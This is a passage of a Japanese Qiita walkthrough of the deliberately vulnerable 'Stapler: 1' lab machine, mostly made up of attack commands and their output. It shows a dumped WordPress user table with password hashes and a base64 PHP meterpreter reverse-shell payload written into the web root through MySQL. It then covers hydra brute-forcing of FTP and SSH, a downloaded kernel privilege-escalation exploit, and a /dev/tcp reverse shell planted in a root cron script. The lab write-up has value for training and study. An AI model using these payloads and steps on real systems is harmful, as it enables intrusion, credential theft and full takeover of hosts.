+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email            | user_url         | user_registered     | user_activation_key | user_status | display_name    |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
|  1 | John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. | john          | john@red.localhost    | http://localhost | 2016-06-03 23:18:47 |                     |           0 | John Smith      |
|  2 | Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 | elly          | Elly@red.localhost    |                  | 2016-06-05 16:11:33 |                     |           0 | Elly Jones      |
|  3 | Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 | peter         | peter@red.localhost   |                  | 2016-06-05 16:13:16 |                     |           0 | Peter Parker    |
|  4 | barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 | barry         | barry@red.localhost   |                  | 2016-06-05 16:14:26 |                     |           0 | Barry Atkins    |
|  5 | heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 | heather       | heather@red.localhost |                  | 2016-06-05 16:18:04 |                     |           0 | Heather Neville |
|  6 | garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 | garry         | garry@red.localhost   |                  | 2016-06-05 16:18:23 |                     |           0 | garry           |
|  7 | harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 | harry         | harry@red.localhost   |                  | 2016-06-05 16:18:41 |                     |           0 | harry           |
|  8 | scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 | scott         | scott@red.localhost   |                  | 2016-06-05 16:18:59 |                     |           0 | scott           |
|  9 | kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 | kathy         | kathy@red.localhost   |                  | 2016-06-05 16:19:14 |                     |           0 | kathy           |
| 10 | tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 | tim           | tim@red.localhost     |                  | 2016-06-05 16:19:29 |                     |           0 | tim             |
| 11 | ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 | zoe           | zoe@red.localhost     |                  | 2016-06-05 16:19:50 |                     |           0 | ZOE             |
| 12 | Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. | dave          | dave@red.localhost    |                  | 2016-06-05 16:20:09 |                     |           0 | Dave            |
| 13 | Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 | simon         | simon@red.localhost   |                  | 2016-06-05 16:20:35 |                     |           0 | Simon           |
| 14 | Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. | abby          | abby@red.localhost    |                  | 2016-06-05 16:20:53 |                     |           0 | Abby            |
| 15 | Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 | vicki         | vicki@red.localhost   |                  | 2016-06-05 16:21:14 |                     |           0 | Vicki           |
| 16 | Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 | pam           | pam@red.localhost     |                  | 2016-06-05 16:42:23 |                     |           0 | Pam             |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
root@kali:~# 

ペイロードの作成

ペイロードを作成するには、msfvenomuコマンドを使用します。コマンド構文は、msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.208.226 LPORT=4444 -e php/base64 > shell.phpです。オプションの狙いは、次の通りです。

--payload | -p: ペイロードのパス
lhost=: 接続先IPアドレスの指定(攻撃端末)
lport=: 接続ポート番号の指定
--encoder | -e: 出力ファイルのエンコード指定

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.208.226 LPORT=4444 -e php/base64 > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1510 (iteration=0)
php/base64 chosen with final size 1510
Payload size: 1510 bytes

出力シェルコードshell.php<?php ?>追加します。

<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNi4yMDguMjI2JzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNr.KCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs)); ?>

select into outfileステートメントを使用して、ペイロードをuploadディレクトリにドロップします。

root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 70
Server version: 5.7.27-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> select "<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNi4yMDguMjI2JzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNr.KCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs)); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.00 sec)

攻撃端末側でMetasploit Frameworkのコマンド構文を使用し、multi/handlerを立ち上げてリバースシェルからの接続を待ち受けます。

root@kali:~# msfconsole

msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.208.226
lhost => 172.16.208.226
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.208.226   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.208.226:4444

次に、multi/handlerがアクティブな状態で、curlコマンドを使って、shell.phpファイルを呼び出します。

root@kali:~# curl -k https://172.16.208.205:12380/blogblog/wp-content/uploads/shell.php

システム情報(sysinfo)とセッションの実行権限(getuid)について確認しましょう。

[*] Sending stage (37775 bytes) to 172.16.208.205
[*] Meterpreter session 1 opened (172.16.208.226:4444 -> 172.16.208.205:58192) at 2019-09-12 16:05:15 +0900

meterpreter > sysinfo
Computer    : red.initech
OS          : Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter > 

システム探索

さらに、shellに入ります。

meterpreter > shell
Process 24096 created.
Channel 0 created.
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04 LTS
Release:    16.04
Codename:   xenial

uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

pwd
/var/www/https/blogblog/wp-content/uploads

ブルートフォース攻撃

FTP アプローチ

FTPサービスのスキャンの結果、HarryEllyJohnユーザアカウントの存在が明らかになっています。
そこで、hydraコマンドを使って、ブルートフォース攻撃を仕掛けます。狙いは脆弱な状態で使用しているアカウントの特定です。
そこで、hydra -l elly -e nsr 172.16.208.205 ftpコマンド構文をを使用します。各オプションの狙いは、次の通りです。

  • -l LOGIN or -L FILE:ログイン名、またはログイン名のリストファイル
  • -e nsr:「null / same / reverse」オプション, 「n」nullパスワード、「s」ユーザ名と同一パスワード、「r」ユーザ名の逆さ文字なパスワードを試行

結果、ellyユーザアカウントのパスワードはpassword: ylleであることが特定できました。

root@kali:~# hydra -l elly -e nsr 172.16.208.205 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-13 16:31:57
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:0), ~3 try per task
[DATA] attacking ftp://172.16.208.205:21/
[21][ftp] host: 172.16.208.205   login: elly   password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-13 16:32:01

elly/ylleアカウントを使って、FTP接続を試みます。
ftp.png
興味深いファイルは次のとおりでした。

  • passwd
  • ftpusers
  • apache2/apache2.conf
  • apache2/ports.conf
  • crontab

この調子で、SSHアクセスも試行してみます。残念ながら、elly/ylleアカウントによるSSHアクセスは許可されていないようです。

root@kali:~# ssh elly@172.16.208.205
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
elly@172.16.208.205's password: 
Permission denied, please try again.
elly@172.16.208.205's password: 
Permission denied, please try again.
elly@172.16.208.205's password: 
elly@172.16.208.205: Permission denied (publickey,password).
root@kali:~# 

/etc/passwd アプローチ

FTPアプローチにて、passwdファイルを取得しました。
catコマンドを使って、ユーザ名一覧を作成します。コマンド構文はcat passwd | cut –d“:” –f1> usernames.txtです。

root@kali:~# cat passwd | cut -d":" -f1
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody

hydraコマンドを使って、ブルートフォース攻撃を仕掛けます。コマンド構文はhydra –e nsr –L usernames.txt –t 4 172.16.208.205 sshです。

root@kali:~# hydra -e nsr -L usernames.txt -t 4 172.16.208.205 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-13 17:17:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 183 login tries (l:61/p:0), ~3 tries per task
[DATA] attacking ssh://172.16.208.205:22/
[STATUS] 64.00 tries/min, 64 tries in 00:00h, 0 to do in 01:00h, 119 active
[22][ssh] host: 172.16.208.205   login: SHayslett   password: SHayslett
[STATUS] 64.00 tries/min, 128 tries in 00:00h, 0 to do in 02:00h, 55 active
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-13 17:20:35
root@kali:~# 

判明したSHayslett/SHayslettアカウントを使って、SSHアクセスを試行してみます。ログインに成功です。

root@kali:~# ssh SHayslett@172.16.208.205
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
SHayslett@172.16.208.205's password: 
Welcome back!


SHayslett@red:~$ id
uid=1005(SHayslett) gid=1005(SHayslett) groups=1005(SHayslett)
SHayslett@red:~$ 

後は、特権の引き上げを狙っていきましょう。

wp_users テーブル

MySQL探索の結果、明らかとなった、wp_usersテーブル情報を手がかりに、ブルートフォース攻撃の有効性について検証してみましょう。
wp_usersテーブルの内、ID: 1が割り当てられているJohn(John Smith)アカウントは特に魅力的な可能性が高いと推測できます。
Brute Force.png

ブルートフォース攻撃に不要な情報をawkコマンドを使って除去します。

root@kali:~# awk -F'|' '{print $3}' wp_users.txt
 John       
 Elly       
 Peter      
 barry      
 heather    
 garry      
 harry      
 scott      
 kathy      
 tim        
 ZOE        
 Dave       
 Simon      
 Abby       
 Vicki      
 Pam

特権の引き上げ

Kernel Exploit

システムは、Linux red.initech 4.4.0-21-genericUbuntu 16.04 LTSにて動作していることが判明しています。
そこで、これら情報をもとに、特権昇格の可能性を探ります。
searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索します。

root@kali:~# searchsploit 4.4.0-21
------------------------------------------------- ----------------------------------------
 Exploit Title                                   |  Path
                                                 | (/usr/share/exploitdb/)
------------------------------------------------- ----------------------------------------
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfi | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'ne | exploits/linux/local/44300.c
------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# searchsploit linux kernel 4.4 ubuntu 16.04
------------------------------------------------- ----------------------------------------
 Exploit Title                                   |  Path
                                                 | (/usr/share/exploitdb/)
------------------------------------------------- ----------------------------------------
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Pr | exploits/linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfi | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdpu | exploits/linux/local/39772.txt
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Loca | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'ne | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14. | exploits/linux/local/43418.c
------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 

いくつか候補がありそうです。ここでは、EDB-ID: 39772を採用します。

指定された39772.zipファイルをダウンロードします。

root@kali:~# wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
.
.
.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: ‘39772.zip’

39772.zip              100%[==========================>]   6.86K  --.-KB/s    in 0.001s  

2019-09-12 16:40:25 (5.32 MB/s) - ‘39772.zip’ saved [7025/7025]

root@kali:~# 

標的へコードを送るため、ローカルサーバを立ち上げます。python -m SimpleHTTPServerコマンドを実行します。

root@kali:~# python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
172.16.208.205 - - [12/Sep/2019 16:51:26] "GET /39772.zip HTTP/1.1" 200 -

標的のshellに入り、/tmpディレクトリに移動して、39772.zipコードをダウンロードします。アーカイブされている各ファイルを展開します。

cd /tmp

wget http://172.16.208.226:8081/39772.zip
--2019-09-12 08:51:25--  http://172.16.208.226:8081/39772.zip
Connecting to 172.16.208.226:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: '39772.zip'

     0K ......                                                100%  381M=0s

2019-09-12 08:51:25 (381 MB/s) - '39772.zip' saved [7025/7025]

unzip 39772.zip
Archive:  39772.zip
   creating: 39772/
  inflating: 39772/.DS_Store         
   creating: __MACOSX/
   creating: __MACOSX/39772/
  inflating: __MACOSX/39772/._.DS_Store  
  inflating: 39772/crasher.tar       
  inflating: __MACOSX/39772/._crasher.tar  
  inflating: 39772/exploit.tar       
  inflating: __MACOSX/39772/._exploit.tar  

cd 39772
tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c

ファイルをコンパイルし、実行します。

cd ebpf_mapfd_doubleput_exploit
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
whoami
root

cron

linuxprivchecker.pyプログラムを使って、特権昇格に関する別の可能性について調査します。まず、標的環境にてダウンロードを行います。

SHayslett@red:~$ cd /tmp
SHayslett@red:/tmp$ wget https://www.securitysift.com/download/linuxprivchecker.py
--2019-09-15 13:14:33--  https://www.securitysift.com/download/linuxprivchecker.py
Resolving www.securitysift.com (www.securitysift.com)... 173.254.14.183
Connecting to www.securitysift.com (www.securitysift.com)|173.254.14.183|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [application/octet-stream]
Saving to: ‘linuxprivchecker.py’

linuxprivchecker.py  100%[=====================>]  24.71K  --.-KB/s    in 0s      

2019-09-15 13:14:35 (249 MB/s) - ‘linuxprivchecker.py’ saved [25304/25304]

SHayslett@red:/tmp$

linuxprivchecker.pyプログラムを実行し、注目すべき箇所を抜粋してみました。

SHayslett@red:/tmp$ python linuxprivchecker.py 
=================================================================================================
LINUX PRIVILEGE ESCALATION CHECKER
=================================================================================================
.
.
.
[+] Kernel
    Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

[+] Hostname
    red.initech
.
.
.
[+] Scheduled cron jobs
    -rw-r--r-- 1 root root  722 Apr  5  2016 /etc/crontab
    /etc/cron.d:
    total 32
    drwxr-xr-x   2 root root  4096 Jun  3  2016 .
    drwxr-xr-x 100 root root 12288 Sep 15 13:09 ..
    -rw-r--r--   1 root root    56 Jun  3  2016 logrotate
.
.
.
[+] World Writeable Directories for Users other than Root
    drwxrwxrwx 2 www-data www-data 4096 Jun  7  2016 /var/www/https/blogblog/wp-content/uploads
    drwxrwxrwx 2 www www 4096 Jun  5  2016 /home/www
.
.
.
[+] World Writable Files
    -rwxrwxrwx 1 root root 51 Jun  3  2016 /usr/local/sbin/cron-logrotate.sh
    --w--w--w- 1 root root 0 Sep 15 13:14 
.
.
.
Finished
=================================================================================================
SHayslett@red:/tmp$ 

cron jobsに登録されているcron-logrotate.shを編集し、ペイロードを発動させることを検討してみます。
pentestmonkeyReverse Shell Cheat Sheetからペイロードを選択して仕掛けてみましょう。

SHayslett@red:/tmp$ vim /usr/local/sbin/cron-logrotate.sh 
Simon, you really need to-do something about this
& /dev/tcp/172.16.208.232/444 0>&1
  • vimの操作コマンドは次のとおり
コマンド 動作
i 挿入モード
Esc ノーマルモード
: コマンドモード
:w 保存
:q 終了
:wq 保存してから終了

/etc/cron.d/logroteteを確認すると、5分間間隔でcron-logrotate.shが起動されていることが確認できます。

SHayslett@red:/tmp$ cat /etc/cron.d/logrotate 
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます(待ち時間は、5分間です)。

root@kali:~# nc -lvp 444
listening on [any] 444 ...

システム探索 Part 2

フラグの取得

特権取得後、/rootディレクトリを探索します。flag.txtファイルが確認できます。

flag.png

root プロセスの確認

nc.sh スクリプト

root権限で動いているプロセスを確認してみます。TCP 666のスキャンの詳細が明らかになります。

root@red:~# ps aux | grep root
.
.
.
root      1385  0.0  0.2   5720  2212 ?        S    Sep12   0:00 /bin/bash /root/python.sh
root      1387  0.0  0.2   5724  2680 ?        S    Sep12   0:00 /bin/bash /usr/local/src/nc.sh
root      1389  0.0  0.2   6472  2644 ?        S    Sep12   0:00 su -c authbind php -S 0.0.0.0:80 -t /home/www/ &>/dev/null www
root      1399  0.0  0.2   6472  2556 ?        S    Sep12   0:00 su -c cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null JKanode
root      1400  0.0  0.1   4748  1392 tty1     Ss+  Sep12   0:00 /sbin/agetty --noclear tty1 linux
root      1451  0.0  0.3  34088  3352 ?        Ss   Sep12   0:00 /usr/lib/postfix/sbin/master
root     12829  0.0  0.0      0     0 ?        S    03:21   0:00 [kworker/0:1]
root     13384  0.0  0.0      0     0 ?        S    03:37   0:00 [kworker/u16:0]
root     13731  0.0  0.0   2688   672 ?        S    04:07   0:00 nc -nlvp 666
.
.
.
root@red:~# 

/usr/local/src/nc.shスクリプトファイルに注目しました。catコマンドを使って確認してみます。

root@red:~# cat /usr/local/src/nc.sh
#!/bin/bash
while true; do
  (nc -nlvp 666 < /usr/local/src/nc.zip &>/dev/null) && sleep 10s;
done
root@red:~# 

これにより、666/tcpサービスを提供していたのはncコマンドだったことが判明しました。

python.sh スクリプト

python.shスクリプトも気になる存在です。catコマンドを使って確認してみます。

root@red:~# cat /root/python.sh 
#!/bin/bash
su -c 'cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null' JKanode &>/dev/null
root@red:~#

SimpleHTTPServerを起動させています。/home/JKanodeディレクトリを調査してみましょう。.bash_historyファイルは重要な痕跡です。

root@red:/home/JKanode# ls -al
total 24
drwxr-xr-x  2 JKanode JKanode 4096 Jun  5  2016 .
drwxr-xr-x 32 root    root    4096 Jun  4  2016 ..
-rw-r--r--  1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r--  1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r--  1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r--  1 JKanode JKanode  675 Sep  1  2015 .profile
root@red:/home/JKanode# cat .bash_history 
id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
top
kill -9 3747
exit
root@red:/home/JKanode#

ラッキーなことに、2つのクレデンシャル情報が取得できました。JKanode/thisimypasswordpeter/JZQuyIN5です。
sudo権限が付与されていれば、特権昇格の手間を省くことができそうです。まず、JKanode/thisimypasswordアカウントについて検証してみます。残念ながら、JKanode is not in the sudoers file.の結果でした。

root@red:/home/JKanode# ssh JKanode@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
JKanode@localhost's password: 
Welcome back!



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

JKanode@red:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for JKanode: 
JKanode is not in the sudoers file.  This incident will be reported.
JKanode@red:~$ 

続いて、peter/JZQuyIN5アカウントについて検証してみます。

root@red:/home/JKanode# ssh peter@localhost
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
peter@localhost's password: 
Welcome back!


This is the Z Shell configuration function for new users,
zsh-newuser-install.
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~).  This function can help you with a few settings that should
make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.
     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended
     by the system administrator and exit (you will need to edit
     the file by hand, if so desired).

--- Type one of the keys in parentheses --- 

Aborting.
The function will be run again next time.  To prevent this, execute:
  touch ~/.zshrc
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
➜  peter whoami
root
➜  peter 

peter/JZQuyIN5アカウントには、sudo権限が付与されていることが確認できました。

まとめ

Stapler: 1」は、複数のアプローチと、rabbit holesが仕掛けられていました。
一般ユーザのアクセス権取得に関する2つのアプローチと、特権昇格に関する3つの方法について確認しました。

一般ユーザのアクセス権取得

  • WordPressのプラグインに関する脆弱性(EDB-ID: 39646)を特定し、MySQLに関するクレデンシャル情報を取得しました。
  • FTPサービスに対するブルートフォース攻撃を仕掛け、/etc/passwdファイルを取得しました。/etc/passwdファイルをリストにしてSSHサービスにブルートフォース攻撃を仕掛け、脆弱なアカウントのパスワードを取得しました。

特権昇格

  1. searchsploitコマンドを使って脆弱性(EDB-ID: 39772)を特定し、特権昇格を行いました。
  2. cron jobが呼び出すシェルスクリプトcron-logrotate.shを改変しリバースシェルを立ち上げ、特権昇格を行いました。
  3. .bash_historyファイルからsudo権限が付与されたクレデンシャル情報を取得し、特権昇格を行いました。
3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3